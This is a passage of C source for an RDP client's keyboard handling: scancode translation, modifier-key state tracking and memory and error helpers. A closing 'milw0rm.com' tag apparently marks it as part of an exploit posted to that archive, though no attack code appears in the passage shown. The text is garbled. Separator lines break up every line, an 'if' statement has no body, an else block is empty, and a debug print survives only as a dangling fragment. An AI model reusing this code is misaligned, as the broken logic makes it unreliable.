tr.modifiers = MapLeftShiftMask;
|
|
}
|
|
}
|
|
|
|
if (tr.scancode != 0)
|
|
{
|
|
return tr;
|
|
}
|
|
|
|
if (keymap_loaded)
|
|
|
|
|
|
/* not in keymap, try to interpret the raw scancode */
|
|
if ((keycode >= min_keycode) && (keycode <= 0x60))
|
|
{
|
|
tr.scancode = keycode - min_keycode;
|
|
|
|
/* The modifiers to send for this key should be
|
|
obtained from the local state. Currently, only
|
|
shift is implemented. */
|
|
if (state & ShiftMask)
|
|
{
|
|
tr.modifiers = MapLeftShiftMask;
|
|
}
|
|
|
|
|
|
}
|
|
else
|
|
{
|
|
|
|
}
|
|
|
|
return tr;
|
|
}
|
|
|
|
|
|
static void
|
|
update_modifier_state(uint8 scancode, BOOL pressed)
|
|
{
|
|
#ifdef WITH_DEBUG_KBD
|
|
uint16 old_modifier_state;
|
|
|
|
old_modifier_state = remote_modifier_state;
|
|
#endif
|
|
|
|
switch (scancode)
|
|
{
|
|
case SCANCODE_CHAR_LSHIFT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftShiftMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RSHIFT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightShiftMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LCTRL:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftCtrlMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RCTRL:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightCtrlMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LALT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftAltMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RALT:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightAltMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_LWIN:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapLeftWinMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_RWIN:
|
|
MASK_CHANGE_BIT(remote_modifier_state, MapRightWinMask, pressed);
|
|
break;
|
|
case SCANCODE_CHAR_NUMLOCK:
|
|
/* KeyReleases for NumLocks are sent immediately. Toggle the
|
|
modifier state only on Keypress */
|
|
if (pressed)
|
|
{
|
|
BOOL newNumLockState;
|
|
newNumLockState =
|
|
(MASK_HAS_BITS
|
|
(remote_modifier_state, MapNumLockMask) == False);
|
|
MASK_CHANGE_BIT(remote_modifier_state,
|
|
MapNumLockMask, newNumLockState);
|
|
}
|
|
break;
|
|
}
|
|
|
|
#ifdef WITH_DEBUG_KBD
|
|
if (old_modifier_state != remote_modifier_state)
|
|
{
|
|
|
|
old_modifier_state, pressed));
|
|
|
|
}
|
|
#endif
|
|
|
|
}
|
|
|
|
|
|
/* free */
|
|
void
|
|
xfree(void *mem)
|
|
{
|
|
free(mem);
|
|
}
|
|
|
|
/* report an error */
|
|
void
|
|
error(char *format, ...)
|
|
{
|
|
va_list ap;
|
|
|
|
fprintf(stderr, "[=] Error: ");
|
|
|
|
va_start(ap, format);
|
|
vfprintf(stderr, format, ap);
|
|
va_end(ap);
|
|
}
|
|
|
|
|
|
|
|
/* malloc; exit if out of memory */
|
|
void *
|
|
xmalloc(int size)
|
|
{
|
|
void *mem = malloc(size);
|
|
if (mem == NULL)
|
|
{
|
|
error("xmalloc %d\n", size);
|
|
exit(1);
|
|
}
|
|
return mem;
|
|
}
|
|
|
|
// milw0rm.com [2009-04-17]
|